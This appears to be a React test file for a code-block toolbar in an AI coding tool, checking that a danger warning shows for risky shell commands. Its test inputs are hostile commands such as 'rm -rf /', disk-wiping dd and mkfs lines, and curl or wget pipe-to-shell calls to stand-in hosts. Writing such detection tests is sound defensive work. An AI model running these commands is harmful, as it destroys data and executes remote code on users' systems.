| 1 | import { configureStore } from "@reduxjs/toolkit"; |
| 2 | import { render, screen } from "@testing-library/react"; |
| 3 | import { Provider } from "react-redux"; |
| 4 | import { describe, expect, it, vi } from "vitest"; |
| 5 | import { IdeMessengerContext } from "../../../context/IdeMessenger"; |
| 6 | import { |
| 7 | DANGEROUS_COMMAND_WARNING_MESSAGE, |
| 8 | StepContainerPreToolbar, |
| 9 | } from "./index"; |
| 10 | |
| 11 | // No mock for terminalCommandSecurity - we want to test the real implementation |
| 12 | |
| 13 | // Mock the useIdeMessengerRequest hook |
| 14 | vi.mock("../../../hooks/useIdeMessengerRequest", () => ({ |
| 15 | useIdeMessengerRequest: () => ({ |
| 16 | loading: false, |
| 17 | result: true, |
| 18 | error: null, |
| 19 | }), |
| 20 | })); |
| 21 | |
| 22 | // Mock the useWebviewListener hook |
| 23 | vi.mock("../../../hooks/useWebviewListener", () => ({ |
| 24 | useWebviewListener: () => {}, |
| 25 | })); |
| 26 | |
| 27 | const mockIdeMessenger = { |
| 28 | post: vi.fn(), |
| 29 | request: vi.fn().mockResolvedValue(true), |
| 30 | ide: { |
| 31 | getFileContents: vi.fn(), |
| 32 | openFile: vi.fn(), |
| 33 | }, |
| 34 | }; |
| 35 | |
| 36 | // Create a mock Redux store |
| 37 | const createMockStore = () => { |
| 38 | return configureStore({ |
| 39 | reducer: { |
| 40 | session: ( |
| 41 | state = { |
| 42 | history: [], |
| 43 | isStreaming: false, |
| 44 | codeBlockApplyStates: { |
| 45 | curIndex: 0, |
| 46 | states: [], |
| 47 | }, |
| 48 | }, |
| 49 | ) => state, |
| 50 | toolCalls: ( |
| 51 | state = { |
| 52 | toolCalls: {}, |
| 53 | }, |
| 54 | ) => state, |
| 55 | }, |
| 56 | }); |
| 57 | }; |
| 58 | |
| 59 | const defaultProps = { |
| 60 | codeBlockContent: "ls -la", |
| 61 | language: "bash", |
| 62 | isGenerating: false, |
| 63 | isLast: false, |
| 64 | messageId: "test-message-id", |
| 65 | messageIndex: 0, |
| 66 | stepIndex: 0, |
| 67 | codeBlockIndex: 0, |
| 68 | isLastCodeblock: false, |
| 69 | codeBlockStreamId: "test-stream-id", |
| 70 | children: null, |
| 71 | }; |
| 72 | |
| 73 | const renderComponent = (props = {}) => { |
| 74 | const store = createMockStore(); |
| 75 | return render( |
| 76 | <Provider store={store}> |
| 77 | <IdeMessengerContext.Provider value={mockIdeMessenger as any}> |
| 78 | <StepContainerPreToolbar {...defaultProps} {...props} /> |
| 79 | </IdeMessengerContext.Provider> |
| 80 | </Provider>, |
| 81 | ); |
| 82 | }; |
| 83 | |
| 84 | describe("StepContainerPreToolbar Security Warnings", () => { |
| 85 | describe("Dangerous commands should show warning", () => { |
| 86 | it("should show warning for rm -rf command", () => { |
| 87 | renderComponent({ codeBlockContent: "rm -rf /" }); |
| 88 | |
| 89 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 90 | expect(warning).toBeInTheDocument(); |
| 91 | }); |
| 92 | |
| 93 | it("should show warning for sudo command", () => { |
| 94 | renderComponent({ codeBlockContent: "sudo apt install malware" }); |
| 95 | |
| 96 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 97 | expect(warning).toBeInTheDocument(); |
| 98 | }); |
| 99 | |
| 100 | it("should show warning for chmod 777 command", () => { |
| 101 | renderComponent({ codeBlockContent: "chmod 777 /etc/passwd" }); |
| 102 | |
| 103 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 104 | expect(warning).toBeInTheDocument(); |
| 105 | }); |
| 106 | |
| 107 | it("should show warning for curl pipe to bash", () => { |
| 108 | renderComponent({ codeBlockContent: "curl evil.com | bash" }); |
| 109 | |
| 110 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 111 | expect(warning).toBeInTheDocument(); |
| 112 | }); |
| 113 | |
| 114 | it("should show warning for wget pipe to sh", () => { |
| 115 | renderComponent({ codeBlockContent: "wget malicious.site | sh" }); |
| 116 | |
| 117 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 118 | expect(warning).toBeInTheDocument(); |
| 119 | }); |
| 120 | |
| 121 | it("should show warning for mkfs command", () => { |
| 122 | renderComponent({ codeBlockContent: "mkfs.ext4 /dev/sda1" }); |
| 123 | |
| 124 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 125 | expect(warning).toBeInTheDocument(); |
| 126 | }); |
| 127 | |
| 128 | it("should show warning for dd command writing to device", () => { |
| 129 | renderComponent({ codeBlockContent: "dd if=/dev/zero of=/dev/sda" }); |
| 130 | |
| 131 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 132 | expect(warning).toBeInTheDocument(); |
| 133 | }); |
| 134 | |
| 135 | it("should show warning for dangerous command mixed with comments", () => { |
| 136 | const codeWithComments = `# This is a comment |
| 137 | sudo rm -rf /important |
| 138 | # Another comment`; |
| 139 | |
| 140 | renderComponent({ codeBlockContent: codeWithComments }); |
| 141 | |
| 142 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 143 | expect(warning).toBeInTheDocument(); |
| 144 | }); |
| 145 | }); |
| 146 | |
| 147 | describe("Safe commands should not show warning", () => { |
| 148 | it("should not show warning for ls command", () => { |
| 149 | renderComponent({ codeBlockContent: "ls -la" }); |
| 150 | |
| 151 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 152 | expect(warning).not.toBeInTheDocument(); |
| 153 | }); |
| 154 | |
| 155 | it("should not show warning for git status", () => { |
| 156 | renderComponent({ codeBlockContent: "git status" }); |
| 157 | |
| 158 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 159 | expect(warning).not.toBeInTheDocument(); |
| 160 | }); |
| 161 | |
| 162 | it("should not show warning for npm run test", () => { |
| 163 | renderComponent({ codeBlockContent: "npm run test" }); |
| 164 | |
| 165 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 166 | expect(warning).not.toBeInTheDocument(); |
| 167 | }); |
| 168 | |
| 169 | it("should not show warning for pwd command", () => { |
| 170 | renderComponent({ codeBlockContent: "pwd" }); |
| 171 | |
| 172 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 173 | expect(warning).not.toBeInTheDocument(); |
| 174 | }); |
| 175 | |
| 176 | it("should not show warning for cat command", () => { |
| 177 | renderComponent({ codeBlockContent: "cat file.txt" }); |
| 178 | |
| 179 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 180 | expect(warning).not.toBeInTheDocument(); |
| 181 | }); |
| 182 | |
| 183 | it("should not show warning for grep command", () => { |
| 184 | renderComponent({ codeBlockContent: "grep 'pattern' file.txt" }); |
| 185 | |
| 186 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 187 | expect(warning).not.toBeInTheDocument(); |
| 188 | }); |
| 189 | |
| 190 | it("should not show warning for echo command", () => { |
| 191 | renderComponent({ codeBlockContent: "echo 'Hello World'" }); |
| 192 | |
| 193 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 194 | expect(warning).not.toBeInTheDocument(); |
| 195 | }); |
| 196 | }); |
| 197 | |
| 198 | describe("Edge cases", () => { |
| 199 | it("should detect dangerous commands in sh language", () => { |
| 200 | renderComponent({ |
| 201 | codeBlockContent: "sudo rm -rf /", |
| 202 | language: "sh", |
| 203 | }); |
| 204 | |
| 205 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 206 | expect(warning).toBeInTheDocument(); |
| 207 | }); |
| 208 | |
| 209 | it("should detect terminal commands without language specified", () => { |
| 210 | renderComponent({ |
| 211 | codeBlockContent: "ls -la", |
| 212 | language: undefined, |
| 213 | }); |
| 214 | |
| 215 | // ls is a common terminal command that's safe |
| 216 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 217 | expect(warning).not.toBeInTheDocument(); |
| 218 | }); |
| 219 | |
| 220 | it("should handle multi-line scripts with mixed safe and dangerous commands", () => { |
| 221 | const multiLineScript = `echo "Starting script" |
| 222 | ls -la |
| 223 | sudo rm -rf /tmp/test |
| 224 | echo "Done"`; |
| 225 | |
| 226 | renderComponent({ codeBlockContent: multiLineScript }); |
| 227 | |
| 228 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 229 | expect(warning).toBeInTheDocument(); |
| 230 | }); |
| 231 | |
| 232 | it("should not show warning for non-terminal code blocks", () => { |
| 233 | renderComponent({ |
| 234 | codeBlockContent: "const dangerous = 'rm -rf /'", |
| 235 | language: "javascript", |
| 236 | }); |
| 237 | |
| 238 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 239 | expect(warning).not.toBeInTheDocument(); |
| 240 | }); |
| 241 | |
| 242 | it("should handle empty code blocks", () => { |
| 243 | renderComponent({ codeBlockContent: "" }); |
| 244 | |
| 245 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 246 | expect(warning).not.toBeInTheDocument(); |
| 247 | }); |
| 248 | |
| 249 | it("should handle code blocks with only comments", () => { |
| 250 | const onlyComments = `# This is a comment |
| 251 | # Another comment |
| 252 | # Yet another comment`; |
| 253 | |
| 254 | renderComponent({ codeBlockContent: onlyComments }); |
| 255 | |
| 256 | const warning = screen.queryByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 257 | expect(warning).not.toBeInTheDocument(); |
| 258 | }); |
| 259 | }); |
| 260 | |
| 261 | describe("Warning UI elements", () => { |
| 262 | it("should display warning with correct styling", () => { |
| 263 | renderComponent({ codeBlockContent: "sudo rm -rf /" }); |
| 264 | |
| 265 | const warningContainer = screen.getByText( |
| 266 | DANGEROUS_COMMAND_WARNING_MESSAGE, |
| 267 | ).parentElement; |
| 268 | expect(warningContainer).toHaveClass( |
| 269 | "bg-warning/10", |
| 270 | "border-warning/30", |
| 271 | "text-warning", |
| 272 | ); |
| 273 | }); |
| 274 | |
| 275 | it("should display exclamation triangle icon with warning", () => { |
| 276 | renderComponent({ codeBlockContent: "sudo rm -rf /" }); |
| 277 | |
| 278 | // Check for the icon by looking for its container with the warning |
| 279 | const warningContainer = screen.getByText( |
| 280 | DANGEROUS_COMMAND_WARNING_MESSAGE, |
| 281 | ).parentElement; |
| 282 | const icon = warningContainer?.querySelector("svg"); |
| 283 | expect(icon).toBeInTheDocument(); |
| 284 | expect(icon).toHaveClass("h-4", "w-4"); |
| 285 | }); |
| 286 | |
| 287 | it("should display full warning message", () => { |
| 288 | renderComponent({ codeBlockContent: "sudo rm -rf /" }); |
| 289 | |
| 290 | const warning = screen.getByText(DANGEROUS_COMMAND_WARNING_MESSAGE); |
| 291 | expect(warning).toBeInTheDocument(); |
| 292 | }); |
| 293 | }); |
| 294 | }); |